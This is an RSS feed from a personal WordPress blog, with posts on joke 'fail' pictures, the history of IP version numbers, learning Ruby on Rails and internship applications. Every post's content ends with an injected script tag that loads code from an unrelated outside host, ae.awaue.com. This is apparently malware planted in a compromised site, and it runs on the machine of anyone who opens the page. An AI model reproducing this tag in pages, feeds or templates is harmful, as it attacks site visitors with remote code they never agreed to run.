<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Microplop &#187; Andy Callaghan</title>
	<atom:link href="http://www.microplop.com/post/author/andy/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.microplop.com</link>
	<description>Ruby on Rails, rants and code from Andy Callaghan</description>
	<lastBuildDate>Mon, 18 May 2009 22:22:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Conjoined twins fail</title>
		<link>http://www.microplop.com/post/conjoined-twins-fail/</link>
		<comments>http://www.microplop.com/post/conjoined-twins-fail/#comments</comments>
		<pubDate>Mon, 18 May 2009 22:22:13 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Fail]]></category>
		<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=319</guid>
		<description><![CDATA[Just made this&#8230;
moar funny pictures
Hope you like it!
]]></description>
			<content:encoded><![CDATA[<p>Just made this&#8230;</p>
<p><a href='http://mine.icanhascheezburger.com/view.aspx?ciid=3974911' ><img src='http://images.icanhascheezburger.com/completestore/2009/4/18/128845589264096602.jpg' alt='funny pictures' /></a><br />moar <a href='http://icanhascheezburger.com'>funny pictures</a></p>
<p>Hope you like it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/conjoined-twins-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why did we start at IPv4? What happened to IPv5?</title>
		<link>http://www.microplop.com/post/ip-numbering-confusion/</link>
		<comments>http://www.microplop.com/post/ip-numbering-confusion/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 16:24:17 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Uni]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=317</guid>
		<description><![CDATA[This article aims to clarify the history of IP and answering potentially difficult about the version numbers.]]></description>
			<content:encoded><![CDATA[<p>On looking at the various protocols in network communication, the most puzzling version numbering is with IPv4 to IPv6 without version 5, 3, 2 or 1. Most people believe that IPv5, 3, 2 or 1 were not even developed, but this is not true. This article aims to clarify the history of IP and answering potentially difficult about the version numbers.</p>
<h3>Why did we start at IPv4?</h3>
<p>When the internet was known as ARPANET &#8211; a US government research project, the TCP protocol had a lot more functionality than what we are now used to. The research scientists that developed TCP were designing it for not only host-level point-to-point transmission but also for encapsulation and routing across the ARPANET network.   After the scientists realised that they were using the one protocol for too much work on the network, they decided to fork the encapsulation and routing to another protocol called the Internet Protocol, IP. But by this time, the researchers had done enough work on this protocol for it to be deemed in its third version, so was informally known as IPv3.   After the full TCP/IP stack had been fully developed as we now know it, further work had been completed on IP and so was called IPv4.</p>
<h3>What happened to IPv5 then?</h3>
<p>Soon after this, IPv4 was standardised by the IETF. Many different scientists and professionals alike noted that IPv4 would not scale well as it was in the future, and so in the 1970s work on the next version of IP was started, the Internet Stream Protocol (ST). The ST protocol was designed to be the connection-oriented complement to IPv4 and used the same link-layer framing as IPv4. ST used the same addressing scheme as IP and was always intended to run concurrently with IPv4.  The researchers were attempting to ue a connection-oriented IP so that real-time internet applications such as VoIP, multiplayer gaming etc. will have more latency garuantees and be generally more reliable than IPv4.</p>
<h3>The development of IPv6</h3>
<p>ST was considered a great advance at the time against IPv4, but at the same time as ST was being developed, so was IP next generation (IPng).  IPng was developed in 1994 and was aware of the dwindling address space offered by both IPv4 and IPv5/ST, and so used a 128-bit addresses for destination and source which offers a much broader availability of addresses.  The IPng protocol was therefore seen as future proof in the eyes of research scientists and the industry in terms of solving the IPv4 addressing problem, so IPng was adopted as the next defacto standard of IP. IPng was given the version number IPv6, as a direct future replacement for IPv4 in the RFC in 1996.</p>
<p>Post taken in part from <a href="http://cs.microplop.com">CS revision Wiki at Microplop.com</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/ip-numbering-confusion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Steps to learn Ruby on Rails</title>
		<link>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/</link>
		<comments>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 21:16:41 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Final project]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Rails]]></category>
		<category><![CDATA[Tips and tricks]]></category>
		<category><![CDATA[lists]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=299</guid>
		<description><![CDATA[I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.
In [...]]]></description>
			<content:encoded><![CDATA[<p>I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.</p>
<p>In this post I will assume that you have already programmed in an interpreted or compiled language &#8211; C++, Java, Perl, Python are all perfect starts to a programming career.</p>
<p>Make sure you read all of this article before you begin, so you can see how your Rails skills will develop.</p>
<h3>Start hacking</h3>
<p>This is how all good programmers begin: with a weekend of time and an old fashioned hack-a-thon. I personally started with building a simple recipe app with collections of recipes in according to ingredients etc&#8230; </p>
<ul>
<li>Install Ruby, Rails and Gems and get them working</li>
<li>If you&#8217;re on Windows, you need a Linux virtual machine to do your development in. You&#8217;ll have A LOT of problems with Rails&#8217; incompatibilities with Windows. Just do it, trust me!</li>
<li>Make the simple &#8216;Hello World&#8217; app.</li>
<li>Hack away.</li>
</ul>
<p>It is up to you this stage however.</p>
<h3>Buy a few decent books</h3>
<p>It&#8217;s all good me saying &#8220;Just get stuck in&#8221;, but I did need a lot of physical textual help with my learning curve of Ruby on Rails more complex areas. Not all the books that I bought were helpful or even in date, but there was a few that I found were invaluable to my learning.</p>
<h4>Book one: Advanced Rails Recipes</h4>
<h4>Book two: RailsSpace</h4>
<h4>Book three: Rails Recipes</h4>
<p> </p>
<h3>Subscribe to Railscasts</h3>
<p>Ryan Bates presents a weekly video podcast in all areas of Rails. The later episodes tend toward more advanced areas of Rails, but if you get all of the episodes, you will find it difficult to get stuck with development in Rails.<br />
<a href="http://www.railscasts.com">www.railscasts.com</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Terrorism record fail</title>
		<link>http://www.microplop.com/post/terrorism-record-fail/</link>
		<comments>http://www.microplop.com/post/terrorism-record-fail/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 03:53:18 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Fail]]></category>
		<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=307</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_308" class="wp-caption aligncenter" style="width: 490px"><img src="http://www.microplop.com/wp-content/uploads/2009/01/1231980725631.jpg" alt="User is asked whether they would like to beat a record for the most casualties in a terrorist act." title="Terrorism record fail" width="480" height="348" class="size-full wp-image-308" /><p class="wp-caption-text">User is asked whether they would like to beat a record for the most casualties in a terrorist act.</p></div><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/terrorism-record-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPod space fail</title>
		<link>http://www.microplop.com/post/ipod-space-fail/</link>
		<comments>http://www.microplop.com/post/ipod-space-fail/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 00:57:50 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=310</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_311" class="wp-caption aligncenter" style="width: 558px"><img src="http://www.microplop.com/wp-content/uploads/2009/01/picture-1.png" alt="The remaining free space on an iPod is reported to be greater than the actual size of the drive itself." title="Apple iPod space fail" width="548" height="76" class="size-full wp-image-311" /><p class="wp-caption-text">The remaining free space on an iPod is reported to be greater than the actual size of the drive itself.</p></div><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/ipod-space-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zavvi fail</title>
		<link>http://www.microplop.com/post/zavvi-fail/</link>
		<comments>http://www.microplop.com/post/zavvi-fail/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 00:41:01 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Fail]]></category>
		<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=304</guid>
		<description><![CDATA[During all of this recent global economic kerfuffle one of the more recent retail closures in the UK has been music and games retailer Zavvi. I went in today and took the above picture of their so called &#8216;Closing down sale&#8217;&#8230;
]]></description>
			<content:encoded><![CDATA[<div id="attachment_305" class="wp-caption aligncenter" style="width: 310px"><img src="http://www.microplop.com/wp-content/uploads/2009/01/100_1854-300x205.jpg" alt="I really see the mark down in the price of guitar hero here..." title="Zavvi fail" width="300" height="205" class="size-medium wp-image-305" /><p class="wp-caption-text">I really see the mark down in the price of guitar hero here...</p></div>
<p>During all of this recent global economic kerfuffle one of the more recent retail closures in the UK has been music and games retailer Zavvi. I went in today and took the above picture of their so called &#8216;Closing down sale&#8217;&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/zavvi-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome back, Wordpress</title>
		<link>http://www.microplop.com/post/welcome-back-wordpress/</link>
		<comments>http://www.microplop.com/post/welcome-back-wordpress/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 23:43:24 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[Rails]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=144</guid>
		<description><![CDATA[No more Rails for blogging here...]]></description>
			<content:encoded><![CDATA[<p>Well&#8230; after a little (make that a lot) tinkering and attempting to make Rails work on Mediatemple.net, I have decided to run all the way back home to Wordpress for my blogging platform of choice!</p>
<p>No more Rails for blogging here at least, but that&#8217;s not to say I don&#8217;t really <strong>really </strong>enjoy programming in Rails, I just think that Wp has a lot more to offer than what I can cook-up in Rails with the time I have!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/welcome-back-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Computer Science wiki for Revision now up!</title>
		<link>http://www.microplop.com/post/computer-science-wiki-for-revision-now-up/</link>
		<comments>http://www.microplop.com/post/computer-science-wiki-for-revision-now-up/#comments</comments>
		<pubDate>Mon, 28 Apr 2008 15:34:11 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Uni]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yes revision has begun, and I had a novel and possibly unique idea in regards to a wiki &#8211; I could use it to formalise my revision work, by slowly adding my work up as a wiki.
Okay. Maybe it&#8217;s not too unique then, but it sure as hell is helping me revise.
Anyway, the link is [...]]]></description>
			<content:encoded><![CDATA[<p>Yes revision has begun, and I had a novel and possibly unique idea in regards to a wiki &#8211; I could use it to formalise my revision work, by slowly adding my work up as a wiki.</p>
<div>Okay. Maybe it&#8217;s not too unique then, but it sure as hell is helping me revise.</div>
<div>Anyway, the link is here and at the top left of the layout on this page.</div>
<div><a href="http://cs.microplop.com">Computer Science at Microplop.com</a></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/computer-science-wiki-for-revision-now-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A while has passed</title>
		<link>http://www.microplop.com/post/a-while-has-passed/</link>
		<comments>http://www.microplop.com/post/a-while-has-passed/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 01:53:33 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Work]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Here&#8217;s the thing&#8230; I&#8217;ve been busy of late, very busy.Â 

Unfortunately, this blog has suffered because of it! Anyway, rant over!

Another thing&#8230; I didn&#8217;t get past the second interview with Google (yeah, I may as well use names now!). They didn&#8217;t attribute this decision to my phone interviews &#8211; I had performed well at this stage [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the thing&#8230; I&#8217;ve been busy of late, very busy.Â 
<div></div>
<div>Unfortunately, this blog has suffered because of it! Anyway, rant over!</div>
<div></div>
<div>Another thing&#8230; I didn&#8217;t get past the second interview with Google (yeah, I may as well use names now!). They didn&#8217;t attribute this decision to my phone interviews &#8211; I had performed well at this stage I was told, but instead it was my work experience that brought me down.Â </div>
<div></div>
<div>The second phone interview was much harder than the first. The first was really just to make sure that I was breathing and not a complete idiot. However the second interviewer asked a question every minute, and were all like as such:</div>
<div></div>
<div>Â - Why did Google buy Google Earth?</div>
<div>Â - What would you do with 5,000 computers and 5 paid engineers?</div>
<div></div>
<div>Personally, I&#8217;m not that this <span class="Apple-style-span" style="font-style: italic;">is</span> the actual reason. I have plenty of experience in the IT workplace, andÂ definitely more than than most of the peers on my course. SO! I think it was more down to my lack of age, rather than experience.</div>
<div></div>
<div>Despite all of this, Eli Lilly have very nicely kept my pending job for my as a Technical Analyst at Erl Wood. Today I had a familiarisation day which went well, and have given me a lot more confidence in what I&#8217;ll actually be doing there!</div>
<div></div>
<div>My exams start next week, but I will hopefully post a bit more frequently that once every two months!</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/a-while-has-passed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In the matter of only 2 hours&#8230;</title>
		<link>http://www.microplop.com/post/in-the-matter-of-only-2-hours/</link>
		<comments>http://www.microplop.com/post/in-the-matter-of-only-2-hours/#comments</comments>
		<pubDate>Tue, 12 Feb 2008 23:08:08 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Rant]]></category>
		<category><![CDATA[Uni]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I have been looking frantically for &#8216;internships&#8217; for my next University year. I spend a year in the computing industry working for a real company on a real project, earning real money and hopefully setting me up for my career after I leave Uni.

I originally applied to (a very large non-Microsoft company) &#8211; as you [...]]]></description>
			<content:encoded><![CDATA[<p>I have been looking frantically for &#8216;internships&#8217; for my next University year. I spend a year in the computing industry working for a real company on a real project, earning real money and hopefully setting me up for my career after I leave Uni.
<div><br class="webkit-block-placeholder" /></div>
<div>I originally applied to (a very large non-Microsoft company) &#8211; as you do. Being my super-duper numero-uno choice for a placement, I applied for their Software Engineer intern in London on their first day that they started accepting applications &#8211; 1stÂ November &#8216;07. Look at me trying to be organised!Â </div>
<div><br class="webkit-block-placeholder" /></div>
<div>After a good month of no response from them, I was forced to begin looking elsewhere for placements.</div>
<div><br class="webkit-block-placeholder" /></div>
<div>I picked a local company to Reading that specialise in financialÂ institutionÂ web design (banks basically) which I&#8217;d prefer not to name in case i get sued for libel or something. When they gave a set of guest lectures, they appeared to be a young but relatively experienced web company which was<span class="Apple-style-span" style="font-style: italic;"> uber-local</span> to the University &#8211; perfect!</div>
<div><br class="webkit-block-placeholder" /></div>
<div>After applying to their intern scheme, and a few emails between me and a big cog in the company, I&#8217;d secured an initial interview.Â After this first interview I believed I performedÂ reasonably,Â and when they offered a second <span class="Apple-style-span" style="font-style: italic;">&#8216;more formal&#8217; </span>interview, I thought it could only mean good things.</div>
<div><br class="webkit-block-placeholder" /></div>
<div>The second interview then passed, and they told me that they would get back to me with a decision by the end of the month (January).Â </div>
<div><br class="webkit-block-placeholder" /></div>
<div>29&#8230; 30&#8230; and the 31st of Jan passed and noÂ response &#8211; I feared the worst.Â </div>
<div><br class="webkit-block-placeholder" /></div>
<div>These fears were confirmed in the worst possible way by me discovering that one of my course<br /><span class="Apple-style-span" style="color: rgb(35, 35, 35); font-family: Arial; ">acquaintances showed me his acceptance email from them. Not the best way to find out you don&#8217;t have a job&#8230;</span></div>
<div><br class="webkit-block-placeholder" /></div>
<div>Shortly after I got feedback from the internship officer at Reading. She said that the company could not fault my interview, but only said I &#8216;had asked for too much money during the interview&#8217;.<span class="Apple-style-span" style="font-weight: bold;"> Bullplop!</span> They asked <span class="Apple-style-span" style="font-style: italic;">me</span> what the average internship wage was, in which I responded with Â£14k minimum (which isÂ coincidentallyÂ what the Big M offer&#8230;), and the offer that came through as acceptance was for Â£13k. Rudeness!</div>
<div><br class="webkit-block-placeholder" /></div>
<div>Anyway, I digress&#8230; After this setback, I was forced yet again to rethink my options, and after a meeting with my internship officer, she secured me an interview with a largeÂ pharmaceuticalÂ company based in the States, but with offices near Reading.</div>
<div><br class="webkit-block-placeholder" /></div>
<div>After the painless interview, I believed that I had performed well (but I thought the same before). My placement officer told me that the decision would be relayed to me later in the evening of the interview (last Wed).</div>
<div><br class="webkit-block-placeholder" /></div>
<div>At 9pm I checked my inbox, and not only found a &#8216;Congrats&#8217; email about the previous pharmaceutical company, but also aÂ responseÂ from (a very large non-Microsoft company) !! WOOP WOOP! I saw it and literally leapt into the air in celebration.</div>
<div><br class="webkit-block-placeholder" /></div>
<div>The email explained that I wasn&#8217;t suitable for the Software Engineer internship, but the Associate Product Manager job was! This intense job allows an intern to direct the shape a handful of their products: released, unreleased, free, or multi-billion dollar a year &#8211; It&#8217;s all the same!</div>
<div></div>
<div>I am understandablyÂ <span class="Apple-style-span" style="color: rgb(35, 35, 35); font-family: Arial; ">ecstatic at the prospect of this, and I can&#8217;t wait until I have a chance to show off what I canÂ achieveÂ for the company.</span></div>
<div><span class="Apple-style-span" style="color: rgb(35, 35, 35);"><br class="webkit-block-placeholder" /></span></div>
<div><span class="Apple-style-span" style="color: rgb(35, 35, 35);">Updates <span class="Apple-style-span" style="font-weight: bold;">will</span> follow, I guarantee.</span></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/in-the-matter-of-only-2-hours/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
